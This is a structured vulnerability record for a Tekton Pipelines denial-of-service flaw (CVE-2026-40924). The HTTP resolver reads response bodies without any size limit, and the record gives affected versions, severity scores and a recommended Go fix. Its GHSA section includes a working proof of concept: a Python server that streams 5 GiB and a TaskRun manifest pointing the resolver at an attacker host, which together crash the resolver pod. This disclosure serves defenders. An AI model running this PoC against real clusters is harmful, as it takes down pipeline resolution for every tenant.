{"id":"CVE-2026-40924","aliases":["CVE-2026-40924","GHSA-m2cx-gpqf-qf74","GO-2026-5486"],"related":[],"kind":"vulnerability","state":"published","title":"Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion","summary":"Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe HTTP resolver's `FetchHttpResource` function calls `io.ReadAll(resp.Body)` with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the `tekton-pipelines-resolvers` pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated `pkg/resolution/resolver/http` and the current `pkg/remoteresolution/resolver/http` implementations.\n\n## Details\n\n`pkg/resolution/resolver/http/resolver.go:279–307`:\n\n```go\nfunc FetchHttpResource(ctx context.Context, params map[string]string,\n    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {\n\n    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute\n    // ...\n    resp, err := httpClient.Do(req)\n    // ...\n    defer func() { _ = resp.Body.Close() }()\n\n    body, err := io.ReadAll(resp.Body)  // ← no size limit\n    if err != nil {\n        return nil, fmt.Errorf(\"error reading response body: %w\", err)\n    }\n    // ...\n}\n```\n\n`makeHttpClient` sets `http.Client{Timeout: timeout}` where `timeout` defaults to 1 minute and is configurable via `fetch-timeout` in the `http-resolver-config` ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.\n\nThe resolver deployment (`config/core/deployments/resolvers-deployment.yaml`) sets a 4 GiB memory limit on the `controller` container. A response of 4 GiB or larger delivered at wire speed will cause `io.ReadAll` to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.\n\nThe `remoteresolution` HTTP resolver (`pkg/remoteresolution/resolver/http/resolver.go:90`) delegates directly to the same `FetchHttpResource` function and is equally affected.\n\n## PoC\n\n```bash\n# Step 1: Run an HTTP server that streams a large response fast\npython3 - <<'EOF'\nimport http.server, socketserver\n\nclass LargeResponseHandler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.end_headers()\n        # Stream 5 GB at full speed — completes in <60s on a local network\n        chunk = b\"X\" * (1024 * 1024)  # 1 MiB chunk\n        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB\n            self.wfile.write(chunk)\n\n    def log_message(self, *args):\n        pass\n\nwith socketserver.TCPServer((\"\", 8080), LargeResponseHandler) as httpd:\n    httpd.serve_forever()\nEOF\n\n# Step 2: Create a TaskRun that triggers the HTTP resolver\nkubectl create -f - <<'EOF'\napiVersion: tekton.dev/v1\nkind: TaskRun\nmetadata:\n  name: dos-poc\n  namespace: default\nspec:\n  taskRef:\n    resolver: http\n    params:\n      - name: url\n        value: http://attacker-server.internal:8080/large-payload\nEOF\n\n# Expected result: tekton-pipelines-resolvers pod is OOM-killed.\n# All resolver types in the cluster (git, hub, bundle, cluster, http)\n# become unavailable until Kubernetes restarts the pod.\n# Repeated submission causes a crash loop that continuously disrupts\n# resolution for all tenants in the cluster.\n```\n\n**Note:** On clusters where operators have set a higher `fetch-timeout` (e.g., `10m`), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.\n\n## Impact\n\n- **Denial of Service**: OOM-kill of the `tekton-pipelines-resolvers` pod denies all resolution services cluster-wide until Kubernetes restarts the pod.\n- **Crash loop amplification**: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.\n- **Blast radius**: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.\n\n## Recommended Fix\n\nWrap `resp.Body` with `io.LimitReader` before passing to `io.ReadAll`. Add a configurable `max-body-size` option to the `http-resolver-config` ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):\n\n```go\nconst defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB\n\n// In FetchHttpResource, replace:\n//   body, err := io.ReadAll(resp.Body)\n// with:\nmaxBytes := int64(defaultMaxBodyBytes)\nif v, ok := conf[\"max-body-size\"]; ok {\n    if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {\n        maxBytes = parsed\n    }\n}\nlimitedReader := io.LimitReader(resp.Body, maxBytes+1)\nbody, err := io.ReadAll(limitedReader)\nif err != nil {\n    return nil, fmt.Errorf(\"error reading response body: %w\", err)\n}\nif int64(len(body)) > maxBytes {\n    return nil, fmt.Errorf(\"response body exceeds maximum allowed size of %d bytes\", maxBytes)\n}\n```\n\nThis fix must be applied to `FetchHttpResource` in `pkg/resolution/resolver/http/resolver.go`, which is shared by both the deprecated and current HTTP resolver implementations.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Tekton Pipelines HTTP resolver denial of service via memory exhaustion in github.com/tektoncd/pipeline","format":"markdown","source":"go"},{"lang":"es","text":"El proyecto Tekton Pipelines proporciona recursos estilo k8s para declarar pipelines estilo CI/CD. A partir de la versión 1.0.0 y antes de las versiones 1.0.2, 1.3.4, 1.6.2, 1.9.3 y 1.11.1, la función FetchHttpResource del resolvedor HTTP llama a io.ReadAll(resp.Body) sin límite de tamaño del cuerpo de la respuesta. Cualquier inquilino con permiso para crear TaskRuns o PipelineRuns que hagan referencia al resolvedor HTTP puede apuntarlo a un servidor HTTP controlado por un atacante que devuelva un cuerpo de respuesta muy grande dentro de la ventana de tiempo de espera de 1 minuto, lo que provoca que el pod tekton-pipelines-resolvers sea eliminado por OOM por Kubernetes. Debido a que todos los tipos de resolvedores (Git, Hub, Bundle, Cluster, HTTP) se ejecutan en el mismo pod, el fallo de este pod deniega el servicio de resolución a todo el clúster. La explotación repetida provoca un bucle de fallos sostenido. La misma ruta de código vulnerable es alcanzada tanto por la implementación obsoleta pkg/resolution/resolver/http como por la actual pkg/remoteresolution/resolver/http. Las versiones 1.0.2, 1.3.4, 1.6.2, 1.9.3 y 1.11.1 solucionan el problema.","source":"nvd"}],"published":"2026-04-21T20:27:33.000Z","modified":"2026-10-26T22:10:00.163Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-400"],"affected":[{"ranges":[{"version":">= 1.0.0, < 1.0.2","status":"affected"},{"version":">= 1.2.0, < 1.3.4","status":"affected"},{"version":">= 1.4.0, < 1.6.2","status":"affected"},{"version":">= 1.7.0, < 1.9.3","status":"affected"},{"version":">= 1.10.0, < 1.11.1","status":"affected"}],"vendor":"tektoncd","product":"pipeline","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"1.10.0","status":"affected","fixed":"1.11.1"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.0.0","status":"affected","fixed":"1.0.2"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.2.0","status":"affected","fixed":"1.3.4"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.4.0","status":"affected","fixed":"1.6.2"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.7.0","status":"affected","fixed":"1.9.3"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.0.0","status":"affected","fixed":"1.0.2"},{"type":"semver","introduced":"1.1.0","status":"affected","fixed":"1.3.4"},{"type":"semver","introduced":"1.4.0","status":"affected","fixed":"1.6.2"},{"type":"semver","introduced":"1.7.0","status":"affected","fixed":"1.9.3"},{"type":"semver","introduced":"1.10.0","status":"affected","fixed":"1.11.1"}],"ecosystem":"Go","package":"github.com/tektoncd/pipeline","purl":"pkg:golang/github.com/tektoncd/pipeline","source":"go"},{"ranges":[{"status":"affected","fixed":"1.11.1"}],"vendor":"linuxfoundation","product":"tekton_pipelines","cpe":"cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*","source":"nvd"}],"references":[{"url":"https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/tektoncd/pipeline/releases/tag/v1.11.1","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40924","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/tektoncd/pipeline","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-22T13:21:18.942Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40924","url":"https://www.cve.org/CVERecord?id=CVE-2026-40924","licence":"CVE Terms of Use","modified":"2026-05-22T16:03:53.528Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m2cx-gpqf-qf74","url":"https://github.com/advisories/GHSA-m2cx-gpqf-qf74","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:44.652Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5486","url":"https://pkg.go.dev/vuln/GO-2026-5486","licence":"CC-BY-4.0","modified":"2026-07-23T19:00:12.850Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40924","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40924","licence":"Public domain","modified":"2026-10-26T22:10:00.163Z"}],"updatedAt":"2026-11-25T22:59:19.192Z","epss":{"score":0.00324,"percentile":0.27432,"date":"2026-12-01T12:00:22.000Z"}}